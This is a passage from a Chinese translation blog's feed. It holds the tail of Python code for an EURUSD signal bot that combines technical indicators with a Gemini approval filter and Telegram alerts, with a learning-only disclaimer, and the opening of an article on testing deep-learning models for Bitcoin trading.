    ema_slow_now = float(latest[&quot;ema_slow&quot;])  
    ema_fast_prev = float(prev[&quot;ema_fast&quot;])  
    ema_slow_prev = float(prev[&quot;ema_slow&quot;])  

    rsi_now = float(latest[&quot;rsi&quot;])  
    macd_hist_now = float(latest[&quot;macd_hist&quot;])  
    bb_upper_now = float(latest[&quot;bb_upper&quot;])  
    bb_lower_now = float(latest[&quot;bb_lower&quot;])  

    # &#x8721;&#x70DB;&#x5B9E;&#x4F53;&#x5927;&#x5C0F;&#x8FC7;&#x6EE4;&#x5668; (&#x56FA;&#x5B9A;&#x4E3A;&#x6D6E;&#x70B9;&#x6570;)  
    if &quot;Open&quot; in df.columns:  
        open_now = float(latest[&quot;Open&quot;])  
        body_series = (df[&quot;Close&quot;] - df[&quot;Open&quot;]).abs()  
        avg_body = float(body_series.tail(20).mean())  
    else:  
        open_now = price_now  
        avg_body = 0.0  

    body_size = abs(price_now - open_now)  

    # &#x5982;&#x679C; avg_body &#x662F;&#x96F6;&#x6216; NaN&#xFF0C;&#x56DE;&#x9000;&#x5230;&#x5F53;&#x524D;&#x5B9E;&#x4F53;&#x5927;&#x5C0F;  
    if not np.isfinite(avg_body) or avg_body == 0:  
        avg_body = body_size  

    # &#x907F;&#x514D;&#x5FAE;&#x5C0F;&#x7684;&#x5341;&#x5B57;&#x8721;&#x70DB; (&#x592A;&#x5F31;)  
    if avg_body &gt; 0 and body_size &lt; 0.3 * avg_body:  
        print(f&quot;{now_dubai} - &#x8721;&#x70DB;&#x592A;&#x5C0F; (&#x5B9E;&#x4F53; {body_size:.6f} vs &#x5E73;&#x5747; {avg_body:.6f}), &#x8DF3;&#x8FC7;&#x3002;&quot;)  
        return  

    # &#x907F;&#x514D;&#x5728;&#x975E;&#x4EA4;&#x6613;&#x65F6;&#x95F4;&#x4EA4;&#x6613;  
    if not is_good_trading_time(now_dubai):  
        print(f&quot;{now_dubai} - &#x5728;&#x4E3B;&#x8981;&#x4EA4;&#x6613;&#x65F6;&#x95F4;&#x4E4B;&#x5916;&#xFF0C;&#x8DF3;&#x8FC7;&#x4EA4;&#x6613;&#x3002;&quot;)  
        return  

    # 6) &#x4E94;&#x5206;&#x949F;&#x8D8B;&#x52BF;&#x8FC7;&#x6EE4;&#x5668;  
    trend_5m = get_5m_trend(df)  
    if trend_5m is None:  
        print(f&quot;{now_dubai} - &#x4E94;&#x5206;&#x949F;&#x8D8B;&#x52BF;&#x4E0D;&#x660E;&#x786E;&#xFF0C;&#x8DF3;&#x8FC7;&#x3002;&quot;)  
        return  

    # &#x907F;&#x514D;&#x5728;&#x540C;&#x4E00;&#x6839;&#x8721;&#x70DB;&#x4E0A;&#x91CD;&#x590D;&#x4FE1;&#x53F7;  
    if last_candle_time is not None and candle_time &lt;= last_candle_time:  
        print(f&quot;{now_dubai} - &#x5C1A;&#x672A;&#x6709;&#x65B0;&#x8721;&#x70DB; (&#x4E0A;&#x6B21;&#x8721;&#x70DB;&#x65F6;&#x95F4; {last_candle_time})&#x3002;&quot;)  
        return  

    signal_text = None  
    direction = None  
    reason_parts = []  

    # &#x57FA;&#x7840; EMA &#x4EA4;&#x53C9;&#x6761;&#x4EF6;  
    call_cross = (ema_fast_prev &lt;= ema_slow_prev) and (ema_fast_now &gt; ema_slow_now)  
    put_cross = (ema_fast_prev &gt;= ema_slow_prev) and (ema_fast_now &lt; ema_slow_now)  

    # === CALL &#x6761;&#x4EF6; ===  
    if call_cross:  
        # &#x8D8B;&#x52BF;&#x8FC7;&#x6EE4;&#x5668;: &#x4EC5;&#x5728;&#x4E0A;&#x6DA8;&#x8D8B;&#x52BF;&#x4E2D;&#x4E70;&#x5165;  
        if trend_5m != &quot;UP&quot;:  
            print(f&quot;{now_dubai} - CALL &#x4EA4;&#x53C9;&#x4F46;&#x4E94;&#x5206;&#x949F;&#x8D8B;&#x52BF;&#x4E0D;&#x662F; UP&#xFF0C;&#x8DF3;&#x8FC7;&#x3002;&quot;)  
        # RSI: &#x907F;&#x514D;&#x8D85;&#x4E70;; &#x60F3;&#x8981;&#x725B;&#x5E02;&#x4F46;&#x4E0D;&#x6781;&#x7AEF;  
        elif not (40 &lt;= rsi_now &lt;= 70):  
            print(f&quot;{now_dubai} - CALL &#x4EA4;&#x53C9;&#x4F46; RSI={rsi_now:.2f} &#x5728; 40-70 &#x4E4B;&#x5916;&#xFF0C;&#x8DF3;&#x8FC7;&#x3002;&quot;)  
        # MACD: &#x9700;&#x8981;&#x725B;&#x5E02;&#x52A8;&#x91CF;  
        elif macd_hist_now &lt;= 0:  
            print(f&quot;{now_dubai} - CALL &#x4EA4;&#x53C9;&#x4F46; MACD &#x76F4;&#x65B9;&#x56FE; {macd_hist_now:.6f} &lt;= 0&#xFF0C;&#x8DF3;&#x8FC7;&#x3002;&quot;)  
        # &#x5E03;&#x6797;&#x5E26;: &#x907F;&#x514D;&#x5728;&#x6216;&#x9AD8;&#x4E8E;&#x4E0A;&#x8F68;&#x7684;&#x5C16;&#x5CF0;  
        elif price_now &gt;= bb_upper_now:  
            print(f&quot;{now_dubai} - CALL &#x4EA4;&#x53C9;&#x4F46;&#x4EF7;&#x683C;&#x5728;&#x6216;&#x9AD8;&#x4E8E;&#x4E0A;&#x5E03;&#x6797;&#x5E26;&#xFF0C;&#x8DF3;&#x8FC7;&#x3002;&quot;)  
        else:  
            signal_text = &quot;&#x4E70;&#x5165; (CALL)&quot;  
            direction = &quot;CALL&quot;  
            reason_parts.append(&quot;EMA9 &#x4EA4;&#x53C9;&#x9AD8;&#x4E8E; EMA21&quot;)  
            reason_parts.append(&quot;&#x4E94;&#x5206;&#x949F;&#x8D8B;&#x52BF; UP&quot;)  
            reason_parts.append(f&quot;RSI={rsi_now:.1f} &#x5728; 40-70&quot;)  
            reason_parts.append(&quot;MACD &#x52A8;&#x91CF;&#x725B;&#x5E02;&quot;)  
            reason_parts.append(&quot;&#x4EF7;&#x683C;&#x4F4E;&#x4E8E;&#x4E0A;&#x5E03;&#x6797;&#x5E26;&quot;)  

    # === PUT &#x6761;&#x4EF6; ===  
    if direction is None and put_cross:  
        # &#x8D8B;&#x52BF;&#x8FC7;&#x6EE4;&#x5668;: &#x4EC5;&#x5728;&#x4E0B;&#x8DCC;&#x8D8B;&#x52BF;&#x4E2D;&#x5356;&#x51FA;  
        if trend_5m != &quot;DOWN&quot;:  
            print(f&quot;{now_dubai} - PUT &#x4EA4;&#x53C9;&#x4F46;&#x4E94;&#x5206;&#x949F;&#x8D8B;&#x52BF;&#x4E0D;&#x662F; DOWN&#xFF0C;&#x8DF3;&#x8FC7;&#x3002;&quot;)  
        # RSI: &#x907F;&#x514D;&#x8D85;&#x5356;; &#x60F3;&#x8981;&#x718A;&#x5E02;&#x4F46;&#x4E0D;&#x6781;&#x7AEF;  
        elif not (30 &lt;= rsi_now &lt;= 60):  
            print(f&quot;{now_dubai} - PUT &#x4EA4;&#x53C9;&#x4F46; RSI={rsi_now:.2f} &#x5728; 30-60 &#x4E4B;&#x5916;&#xFF0C;&#x8DF3;&#x8FC7;&#x3002;&quot;)  
        # MACD: &#x9700;&#x8981;&#x718A;&#x5E02;&#x52A8;&#x91CF;  
        elif macd_hist_now &gt;= 0:  
            print(f&quot;{now_dubai} - PUT &#x4EA4;&#x53C9;&#x4F46; MACD &#x76F4;&#x65B9;&#x56FE; {macd_hist_now:.6f} &gt;= 0&#xFF0C;&#x8DF3;&#x8FC7;&#x3002;&quot;)  
        # &#x5E03;&#x6797;&#x5E26;: &#x907F;&#x514D;&#x5728;&#x6216;&#x4F4E;&#x4E8E;&#x4E0B;&#x8F68;&#x7684;&#x5C16;&#x5CF0;  
        elif price_now &lt;= bb_lower_now:  
            print(f&quot;{now_dubai} - PUT &#x4EA4;&#x53C9;&#x4F46;&#x4EF7;&#x683C;&#x5728;&#x6216;&#x4F4E;&#x4E8E;&#x4E0B;&#x5E03;&#x6797;&#x5E26;&#xFF0C;&#x8DF3;&#x8FC7;&#x3002;&quot;)  
        else:  
            signal_text = &quot;&#x5356;&#x51FA; (PUT)&quot;  
            direction = &quot;PUT&quot;  
            reason_parts.append(&quot;EMA9 &#x4EA4;&#x53C9;&#x4F4E;&#x4E8E; EMA21&quot;)  
            reason_parts.append(&quot;&#x4E94;&#x5206;&#x949F;&#x8D8B;&#x52BF; DOWN&quot;)  
            reason_parts.append(f&quot;RSI={rsi_now:.1f} &#x5728; 30-60&quot;)  
            reason_parts.append(&quot;MACD &#x52A8;&#x91CF;&#x718A;&#x5E02;&quot;)  
            reason_parts.append(&quot;&#x4EF7;&#x683C;&#x9AD8;&#x4E8E;&#x4E0B;&#x5E03;&#x6797;&#x5E26;&quot;)  

    # ========== AI &#x8FC7;&#x6EE4;&#x5668; + &#x6700;&#x7EC8;&#x4FE1;&#x53F7; ==========  
    if signal_text is not None and direction is not None:  
        # &#x6784;&#x5EFA; AI &#x5FEB;&#x7167;  
        ai_snapshot = build_ai_snapshot(  
            df=df,  
            direction=direction,  
            trend_5m=trend_5m,  
            rsi_now=rsi_now,  
            macd_hist_now=macd_hist_now,  
            price_now=price_now,  
            bb_upper_now=bb_upper_now,  
            bb_lower_now=bb_lower_now,  
            body_size=body_size,  
            avg_body=avg_body,  
            now_dubai=now_dubai  
        )  

        ai_decision, ai_reason = ask_gemini_should_trade(ai_snapshot)  

        if ai_decision != &quot;APPROVE&quot;:  
            print(f&quot;{now_dubai} - AI &#x8FC7;&#x6EE4;&#x5668;&#x8DF3;&#x8FC7; {direction} &#x4FE1;&#x53F7;&#x3002;&#x539F;&#x56E0;: {ai_reason}&quot;)  
            # &#x5982;&#x679C;&#x4F60;&#x60F3;&#x5728; Telegram &#x4E2D;&#x770B;&#x5230; AI &#x8DF3;&#x8FC7;&#xFF0C;&#x8BF7;&#x53D6;&#x6D88;&#x6CE8;&#x91CA;:  
            # send_telegram_message(f&quot;AI &#x8FC7;&#x6EE4;&#x5668;&#x8DF3;&#x8FC7;&#x4E86;&#x4E00;&#x4E2A; {direction} &#x4FE1;&#x53F7;&#x3002;&#x539F;&#x56E0;: {ai_reason}&quot;)  
            return  

        # AI &#x6279;&#x51C6;&#xFF0C;&#x7EE7;&#x7EED;&#x6B63;&#x5E38;  
        last_candle_time = candle_time  

        dubai_entry_time = now_dubai  
        dubai_expiry_time = dubai_entry_time + timedelta(minutes=EXIT_CANDLES)  

        open_trades.append({  
            &quot;entry_time&quot;: candle_time,  
            &quot;entry_price&quot;: price_now,  
            &quot;direction&quot;: direction,  
            &quot;dubai_time_open&quot;: dubai_entry_time  
        })  

        first_line = (  
            f&quot;{signal_text} EURUSD (&#x6BCF;&#x5C0F;&#x65F6;&#x4FE1;&#x53F7;) &#x5728; &quot;  
            f&quot;{format_dubai_time_short(dubai_entry_time)} &#x8FEA;&#x62DC;&#x65F6;&#x95F4;&#x8FDB;&#x884C; {EXIT_CANDLES} &#x5206;&#x949F;&quot;  
        )  

        reason_text = &quot;; &quot;.join(reason_parts)  

        msg = (  
            f&quot;{first_line}\n\n&quot;  
            f&quot;&#x5165;&#x573A;&#x4EF7;&#x683C;: {price_now:.5f}\n&quot;  
            f&quot;&#x5165;&#x573A;&#x65F6;&#x95F4;: {dubai_entry_time.strftime(&apos;%Y-%m-%d %H:%M:%S&apos;)} &#x8FEA;&#x62DC;&#x65F6;&#x95F4;\n&quot;  
            f&quot;&#x5230;&#x671F;: {dubai_expiry_time.strftime(&apos;%Y-%m-%d %H:%M:%S&apos;)} &#x8FEA;&#x62DC;&#x65F6;&#x95F4;\n&quot;  
            f&quot;&#x539F;&#x56E0;: {reason_text}\n\n&quot;  
            f&quot;AI &#x8FC7;&#x6EE4;&#x5668;: {ai_decision} - {ai_reason}&quot;  
        )  

        print(msg)  
        send_telegram_message(msg)  
    else:  
        print(f&quot;{now_dubai} - &#x672C;&#x6839;&#x8721;&#x70DB;&#x6CA1;&#x6709;&#x4FE1;&#x53F7;&#x3002;&quot;)  

# ========== &#x4E3B;&#x5FAA;&#x73AF; ==========  
def main_loop():  
    print(&quot;&#x6B63;&#x5728;&#x542F;&#x52A8;&#x4FE1;&#x53F7;&#x673A;&#x5668;&#x4EBA; (&#x5E26;&#x6709;&#x53EF;&#x9009; Gemini &#x8FC7;&#x6EE4;&#x5668;&#x7684;&#x9AD8;&#x7EA7;&#x7B56;&#x7565;&#xFF0C;&#x6BCF;&#x5C0F;&#x65F6;&#x4FE1;&#x53F7;)...&quot;)  
    send_telegram_message(  
        &quot;&#x2705; &#x9AD8;&#x7EA7; EURUSD &#x4FE1;&#x53F7;&#x673A;&#x5668;&#x4EBA;&#x5DF2;&#x542F;&#x52A8; &quot;  
        &quot;(EMA+RSI+MACD+BB+5m &#x8D8B;&#x52BF; + &#x53EF;&#x9009; Gemini &#x8FC7;&#x6EE4;&#x5668;&#xFF0C;&#x6BCF;&#x5C0F;&#x65F6;&#x4FE1;&#x53F7;)&#x3002;&#x4EC5;&#x7528;&#x4E8E;&#x6F14;&#x793A;/&#x6559;&#x80B2;&#x7528;&#x9014;&#x3002;&quot;  
    )  
    while True:  
        try:  
            check_for_signal()  
        except Exception as e:  
            print(&quot;&#x4E3B;&#x5FAA;&#x73AF;&#x51FA;&#x9519;:&quot;, repr(e))  
            traceback.print_exc()  
        time.sleep(CHECK_EVERY_SECONDS)  

if __name__ == &quot;__main__&quot;:  
    main_loop()
</code></pre><h2 id="11%E3%80%81%E7%BB%93%E6%9D%9F%E8%AF%AD">11&#x3001;&#x7ED3;&#x675F;&#x8BED;</h2><p>&#x8FD9;&#x4E2A;&#x673A;&#x5668;&#x4EBA;&#x5E76;&#x4E0D;&#x662F;&#x7528;&#x6765;&#x9884;&#x6D4B;&#x5E02;&#x573A;&#x7684;&#x6216;&#x4FDD;&#x8BC1;&#x7ED3;&#x679C;&#x7684;&#x3002;&#x5B83;&#x53EA;&#x662F;&#x4E00;&#x4E2A;&#x7B80;&#x5355;&#x7684;&#x4F8B;&#x5B50;&#xFF0C;&#x5C55;&#x793A;&#x4E86; Python&#x3001;&#x7B80;&#x5355;&#x7684;&#x6307;&#x6807;&#x3001;&#x66F4;&#x9AD8;&#x65F6;&#x95F4;&#x6846;&#x67B6;&#x7684;&#x8D8B;&#x52BF;&#x68C0;&#x67E5;&#x548C;&#x8F7B;&#x91CF;&#x7EA7; AI &#x8FC7;&#x6EE4;&#x5668;&#x5982;&#x4F55;&#x534F;&#x540C;&#x5DE5;&#x4F5C;&#x3002;&#x76EE;&#x6807;&#x662F;&#x51CF;&#x5C11;&#x566A;&#x97F3;&#xFF0C;&#x4FDD;&#x6301;&#x4E00;&#x81F4;&#x6027;&#xFF0C;&#x5E76;&#x7814;&#x7A76;&#x57FA;&#x4E8E;&#x89C4;&#x5219;&#x7684;&#x903B;&#x8F91;&#x5728;&#x5B9E;&#x65F6;&#x4E2D;&#x7684;&#x884C;&#x4E3A;&#x3002;&#x5982;&#x679C;&#x4F60;&#x51B3;&#x5B9A;&#x81EA;&#x5DF1;&#x6784;&#x5EFA;&#x7C7B;&#x4F3C;&#x7684;&#x4E1C;&#x897F;&#xFF0C;&#x8BF7;&#x4FDD;&#x6301;&#x7B80;&#x5355;&#xFF0C;&#x82B1;&#x65F6;&#x95F4;&#xFF0C;&#x5E76;&#x628A;&#x5B83;&#x5F53;&#x4F5C;&#x4E00;&#x4E2A;&#x5B66;&#x4E60;&#x9879;&#x76EE;&#x3002;</p><hr><p>&#x539F;&#x6587;&#x94FE;&#x63A5;&#xFF1A;<a href="https://medium.com/@s_abraham/i-built-an-advanced-eurusd-signal-bot-with-ema-rsi-macd-bollinger-bands-and-a-gemini-ai-filter-03f117e54264?source=home_for_you---------10-98--------------------573b5382_2267_4cc1_867d_d335a56a238a-------15-------">I Built an Advanced EURUSD Signal Bot With EMA, RSI, MACD, Bollinger Bands and a Gemini AI Filter</a></p><p>DefiPlot&#x7FFB;&#x8BD1;&#x6574;&#x7406;&#xFF0C;&#x8F6C;&#x8F7D;&#x8BF7;&#x6807;&#x660E;&#x51FA;&#x5904;</p>]]></content:encoded></item><item><title><![CDATA[AI 交易: 当理论与现实相遇]]></title><description><![CDATA[我将一些深度学习模型投入了比特币市场。但可以说，市场有其他计划]]></description><link>https://defiplot.com/blog/a-trading-when-theory-meet-reality/</link><guid isPermaLink="false">6937e626214cd9153d74505a</guid><category><![CDATA[tech]]></category><dc:creator><![CDATA[defiplot]]></dc:creator><pubDate>Tue, 09 Dec 2025 09:17:31 GMT</pubDate><media:content url="https://defiplot.com/blog/content/images/2025/12/ai-trading-when-theory-meets-reality.png" medium="image"/><content:encoded><![CDATA[<img src="https://defiplot.com/blog/content/images/2025/12/ai-trading-when-theory-meets-reality.png" alt="AI &#x4EA4;&#x6613;: &#x5F53;&#x7406;&#x8BBA;&#x4E0E;&#x73B0;&#x5B9E;&#x76F8;&#x9047;"><p>&#x6211;&#x5C06;&#x4E00;&#x4E9B;&#x6DF1;&#x5EA6;&#x5B66;&#x4E60;&#x6A21;&#x578B;&#x6295;&#x5165;&#x4E86;&#x6BD4;&#x7279;&#x5E01;&#x5E02;&#x573A;&#x3002;&#x53EF;&#x4EE5;&#x8BF4;&#xFF0C;&#x5E02;&#x573A;&#x6709;&#x5176;&#x4ED6;&#x8BA1;&#x5212;&#x3002;&#x8FD9;&#x662F;&#x5F53;&#x5B66;&#x672F;&#x7406;&#x8BBA;&#x649E;&#x4E0A;&#x5E02;&#x573A;&#x73B0;&#x5B9E;&#x65F6;&#x7684;&#x771F;&#x5B9E;&#x6545;&#x4E8B;&#xFF0C;&#x4EE5;&#x53CA;&#x6211;&#x4E0B;&#x4E00;&#x6B21;&#x6784;&#x5EFA;&#x66F4;&#x667A;&#x80FD;&#x4EA4;&#x6613;&#x673A;&#x5668;&#x4EBA;&#x7684;&#x8BA1;&#x5212;&#x3002;</p><blockquote>&#x5B9E;&#x9A8C; &#x2014;&#x2014; &#x4E0E;&#x5E02;&#x573A;&#x529B;&#x91CF;&#x7684;&#x8C26;&#x5351;&#x76F8;&#x9047;</blockquote><h2 id="1%E3%80%81%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD%E7%9B%88%E5%88%A9%E7%9A%84%E8%AF%B1%E6%83%91">1&#x3001;&#x4EBA;&#x5DE5;&#x667A;&#x80FD;&#x76C8;&#x5229;&#x7684;&#x8BF1;&#x60D1;</h2><p>&#x548C;&#x4F60;&#x4EEC;&#x4E00;&#x6837;&#xFF0C;&#x6211;&#x4E00;&#x76F4;&#x90FD;&#x5728;&#x5BFB;&#x627E;AI&#x548C;&#x673A;&#x5668;&#x5B66;&#x4E60;&#x4E2D;&#x7684;&#x4E0B;&#x4E00;&#x4E2A;&#x5927;&#x4E8B;&#x4EF6;&#xFF0C;&#x90A3;&#x4E2A;&#x53EF;&#x80FD;&#x53D8;&#x6210;&#x9177;&#x4E1C;&#x897F;&#x7684;&#x60F3;&#x6CD5;&#x3002;&#x4E0D;&#x4E45;&#x4E4B;&#x524D;&#xFF0C;&#x6211;&#x542C;&#x4E86;<a href="https://journalclub.io/?ref=defiplot.com"><strong>journalclub.io</strong></a>&#x7684;&#x4E00;&#x96C6;&#x8282;&#x76EE;&#x2014;&#x2014;&#x771F;&#x7684;&#xFF0C;&#x5982;&#x679C;&#x4F60;&#x6CA1;&#x6709;&#x8BA2;&#x9605;&#xFF0C;&#x4F60;&#x9519;&#x8FC7;&#x4E86;&#x4E00;&#x4E2A;&#x5F88;&#x68D2;&#x7684;AI/ML&#x7814;&#x7A76;&#x64AD;&#x5BA2;&#x2014;&#x2014;&#x4ED6;&#x4EEC;&#x8BA8;&#x8BBA;&#x4E86;&#x4E00;&#x7BC7;&#x8BBA;&#x6587; <a href="https://www.sciencedirect.com/science/article/pii/S2590005625000177?via%3Dihub=&amp;ref=defiplot.com#fig4"><strong>&#x201C;Deep Learning for Algorithmic Trading: A Systematic Review of Predictive Models and Optimization Strategies.&#x201D;</strong></a> &#x5B83;&#x63CF;&#x7ED8;&#x4E86;&#x4E00;&#x4E2A;&#x4F7F;&#x7528;&#x6DF1;&#x5EA6;&#x5B66;&#x4E60;&#x5728;&#x91D1;&#x878D;&#x9886;&#x57DF;&#x4E2D;&#x4EE4;&#x4EBA;&#x4FE1;&#x670D;&#x7684;&#x613F;&#x666F;&#xFF0C;&#x4E00;&#x4E2A;&#x60F3;&#x6CD5;&#x51FB;&#x4E2D;&#x4E86;&#x6211;&#xFF1A;&#x5982;&#x679C;&#x6211;&#x5B9E;&#x9645;&#x4E0A;&#x5C1D;&#x8BD5;&#x81EA;&#x5DF1;&#x6784;&#x5EFA;&#x548C;&#x6D4B;&#x8BD5;&#x8FD9;&#x4E9B;&#x7406;&#x8BBA;&#x5462;&#xFF1F;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://defiplot.com/blog/content/images/2025/12/image-7.png" class="kg-image" alt="AI &#x4EA4;&#x6613;: &#x5F53;&#x7406;&#x8BBA;&#x4E0E;&#x73B0;&#x5B9E;&#x76F8;&#x9047;" loading="lazy" width="1100" height="612" srcset="https://defiplot.com/blog/content/images/size/w600/2025/12/image-7.png 600w, https://defiplot.com/blog/content/images/size/w1000/2025/12/image-7.png 1000w, https://defiplot.com/blog/content/images/2025/12/image-7.png 1100w" sizes="(min-width: 720px) 720px"><figcaption>&#x7B97;&#x6CD5;&#x4EA4;&#x6613;&#x7684;&#x4E0D;&#x540C;AI&#x6A21;&#x578B;&#x6982;&#x89C8;</figcaption></figure><p>&#x4EFB;&#x4F55;&#x6D89;&#x8DB3;&#x6570;&#x636E;&#x79D1;&#x5B66;&#x548C;&#x91D1;&#x878D;&#x7684;&#x4EBA;&#x90FD;&#x77E5;&#x9053;&#x8FD9;&#x79CD;&#x8BF1;&#x60D1;&#xFF1A;&#x627E;&#x5230;&#x90A3;&#x4E2A;&#x5B8C;&#x7F8E;&#x7684;&#x6A21;&#x578B;&#xFF0C;&#x90A3;&#x4E2A;&#x6570;&#x636E;&#x548C;&#x7279;&#x5F81;&#x7684;&#x795E;&#x5947;&#x7EC4;&#x5408;&#xFF0C;&#x6700;&#x7EC8;&#x7834;&#x89E3;&#x5E02;&#x573A;&#x7684;&#x5BC6;&#x7801;&#x3002;&#x56E0;&#x6B64;&#xFF0C;&#x53D7;&#x5230;&#x7075;&#x611F;&#x548C;&#xFF0C;&#x8BF4;&#x5B9E;&#x8BDD;&#xFF0C;&#x4E00;&#x5927;&#x5242;&#x96C4;&#x5FC3;&#x7684;&#x9A71;&#x4F7F;&#xFF0C;&#x6211;&#x51B3;&#x5B9A;&#x8BD5;&#x8BD5;&#x770B;&#x3002;&#x6211;&#x7684;&#x6218;&#x573A;&#xFF1F;&#x6BD4;&#x7279;&#x5E01;&#x8FD9;&#x4E2A;&#x6781;&#x5176;&#x72C2;&#x91CE;&#x7684;&#x4E16;&#x754C;&#x3002;</p><p>&#x6211;&#x7684;&#x8BA1;&#x5212;&#x5F53;&#x65F6;&#x770B;&#x8D77;&#x6765;&#x76F8;&#x5F53;&#x7A33;&#x56FA;&#x3002;&#x6211;&#x5C06;&#x4F7F;&#x7528;&#x4E00;&#x4E9B;&#x6DF1;&#x5EA6;&#x5B66;&#x4E60;&#x4E2D;&#x7684;&#x9AD8;&#x624B;&#x2014;&#x2014;LSTMs&#x548C;CNN-LSTMs&#xFF0C;&#x5B83;&#x4EEC;&#x64C5;&#x957F;&#x5904;&#x7406;&#x5E8F;&#x5217;&#x2014;&#x2014;&#x8BD5;&#x56FE;&#x9884;&#x6D4B;&#x6BCF;&#x5C0F;&#x65F6;&#x7684;&#x6BD4;&#x7279;&#x5E01;&#x4EF7;&#x683C;&#x53D8;&#x52A8;&#x3002;&#x6211;&#x7528;&#x4E86;&#x4E00;&#x7CFB;&#x5217;17&#x4E2A;&#x6280;&#x672F;&#x6307;&#x6807;&#x6B66;&#x88C5;&#x5B83;&#x4EEC;&#xFF0C;&#x751A;&#x81F3;&#x4F7F;&#x7528;Optuna&#x8FDB;&#x884C;&#x4E86;&#x4E00;&#x4E9B;&#x4E25;&#x91CD;&#x7684;&#x8D85;&#x53C2;&#x6570;&#x8C03;&#x4F18;&#x3002;&#x6211;&#x771F;&#x7684;&#x4EE5;&#x4E3A;&#x81EA;&#x5DF1;&#x6B63;&#x5728;&#x642D;&#x5EFA;&#x5B66;&#x672F;&#x627F;&#x8BFA;&#x4E0E;&#x73B0;&#x5B9E;&#x4EA4;&#x6613;&#x4E4B;&#x95F4;&#x7684;&#x6865;&#x6881;&#x3002;&#x8FD9;&#x7BC7;&#x535A;&#x5BA2;&#x6587;&#x7AE0;&#xFF1F;&#x5B83;&#x662F;&#x8FD9;&#x6B21;&#x5192;&#x9669;&#x7684;&#x8BB0;&#x5F55;&#x2014;&#x2014;&#x597D;&#x7684;&#x3001;&#x574F;&#x7684;&#x548C;&#x610F;&#x60F3;&#x4E0D;&#x5230;&#x7684;&#x4E11;&#x964B;&#x90E8;&#x5206;&#x3002;</p><p>&#x4F46;&#x6B63;&#x5982;&#x4EFB;&#x4F55;&#x7ECF;&#x9A8C;&#x4E30;&#x5BCC;&#x7684;&#x4EA4;&#x6613;&#x8005;&#x4F1A;&#x544A;&#x8BC9;&#x4F60;&#x7684;&#xFF08;&#x800C;&#x6211;&#x5373;&#x5C06;&#x75DB;&#x82E6;&#x5730;&#x53D1;&#x73B0;&#xFF09;&#xFF0C;&#x5E02;&#x573A;&#x64C5;&#x957F;&#x63D0;&#x4F9B;&#x4E00;&#x4EFD;&#x989D;&#x5916;&#x7684;&#x8C26;&#x5351;&#xFF0C;&#x5C24;&#x5176;&#x662F;&#x5F53;&#x4F60;&#x8BA4;&#x4E3A;&#x4F60;&#x5DF2;&#x7ECF;&#x638C;&#x63E1;&#x4E86;&#x5168;&#x90E8;&#x7684;&#x65F6;&#x5019;&#x3002;&#x8FD9;&#x5C31;&#x662F;&#x63A5;&#x4E0B;&#x6765;&#x53D1;&#x751F;&#x7684;&#x6545;&#x4E8B;&#xFF0C;&#x5B66;&#x5230;&#x7684;&#x8270;&#x96BE;&#x6559;&#x8BAD;&#xFF0C;&#x4EE5;&#x53CA;&#x6211;&#x5E0C;&#x671B;&#x80FD;&#x4ECE;&#x8FD9;&#x91CC;&#x53BB;&#x5F80;&#x4F55;&#x65B9;&#x3002;</p><h2 id="2%E3%80%81%E6%89%93%E9%80%A0%E4%B8%80%E4%B8%AA%E2%80%9C%E5%AE%8C%E7%BE%8E%E2%80%9D%E7%9A%84%E4%BA%A4%E6%98%93%E6%9C%BA%E5%99%A8%E4%BA%BA">2&#x3001;&#x6253;&#x9020;&#x4E00;&#x4E2A;&#x201C;&#x5B8C;&#x7F8E;&#x201D;&#x7684;&#x4EA4;&#x6613;&#x673A;&#x5668;&#x4EBA;</h2><p>&#x6211;&#x7684;&#x60F3;&#x6CD5;&#x662F;&#xFF0C;&#x4E3A;&#x4E86;&#x7ED9;&#x8FD9;&#x4E9B;&#x6A21;&#x578B;&#x4E00;&#x4E2A;&#x516C;&#x5E73;&#x7684;&#x673A;&#x4F1A;&#xFF0C;&#x6211;&#x9700;&#x8981;&#x575A;&#x6301;&#x4E00;&#x79CD;&#x76F8;&#x5F53;&#x6807;&#x51C6;&#x3001;&#x7A33;&#x5065;&#x7684;&#x65B9;&#x6CD5;&#x8BBA;&#x2014;&#x2014;&#x4F60;&#x5728;&#x624E;&#x5B9E;&#x7684;&#x91CF;&#x5316;&#x7814;&#x7A76;&#x4E2D;&#x770B;&#x5230;&#x7684;&#x90A3;&#x79CD;&#x3002;</p><ul><li><strong>&#x6A21;&#x578B;:</strong> &#x6211;&#x9996;&#x5148;&#x9009;&#x62E9;&#x4E86;**LSTM&#xFF08;&#x957F;&#x77ED;&#x671F;&#x8BB0;&#x5FC6;&#xFF09;**&#x7F51;&#x7EDC;&#x3002;&#x5BF9;&#x4E8E;&#x65F6;&#x95F4;&#x5E8F;&#x5217;&#x6570;&#x636E;&#x6765;&#x8BF4;&#xFF0C;&#x8FD9;&#x5F88;&#x5408;&#x7406;&#xFF0C;&#x56E0;&#x4E3A;&#x5B83;&#x64C5;&#x957F;&#x8BB0;&#x4F4F;&#x8F83;&#x957F;&#x65F6;&#x95F4;&#x5185;&#x7684;&#x6A21;&#x5F0F;&#x3002;</li></ul><figure class="kg-card kg-image-card"><img src="https://defiplot.com/blog/content/images/2025/12/image-8.png" class="kg-image" alt="AI &#x4EA4;&#x6613;: &#x5F53;&#x7406;&#x8BBA;&#x4E0E;&#x73B0;&#x5B9E;&#x76F8;&#x9047;" loading="lazy" width="1100" height="479" srcset="https://defiplot.com/blog/content/images/size/w600/2025/12/image-8.png 600w, https://defiplot.com/blog/content/images/size/w1000/2025/12/image-8.png 1000w, https://defiplot.com/blog/content/images/2025/12/image-8.png 1100w" sizes="(min-width: 720px) 720px"></figure><p>&#x7136;&#x540E;&#xFF0C;&#x6211;&#x51B3;&#x5B9A;&#x4E5F;&#x6784;&#x5EFA;&#x4E00;&#x4E2A; CNN-LSTM &#x6A21;&#x578B;&#x3002;&#x6211;&#x7684;&#x60F3;&#x6CD5;&#x662F;&#xFF0C;&#x5377;&#x79EF;&#x5C42;&#x53EF;&#x4EE5;&#x5DE7;&#x5999;&#x5730;&#x4ECE;&#x65F6;&#x95F4;&#x6BB5;&#x4E2D;&#x63D0;&#x53D6;&#x51FA;&#x66F4;&#x9AD8;&#x5C42;&#x6B21;&#x7684;&#x7279;&#x5F81;&#xFF0C;&#x7136;&#x540E;&#x518D;&#x5C06;&#x8FD9;&#x4E9B;&#x7279;&#x5F81;&#x8F93;&#x5165;&#x5230; LSTM &#x4E2D;&#x3002;&#x6211;&#x5E0C;&#x671B; CNN 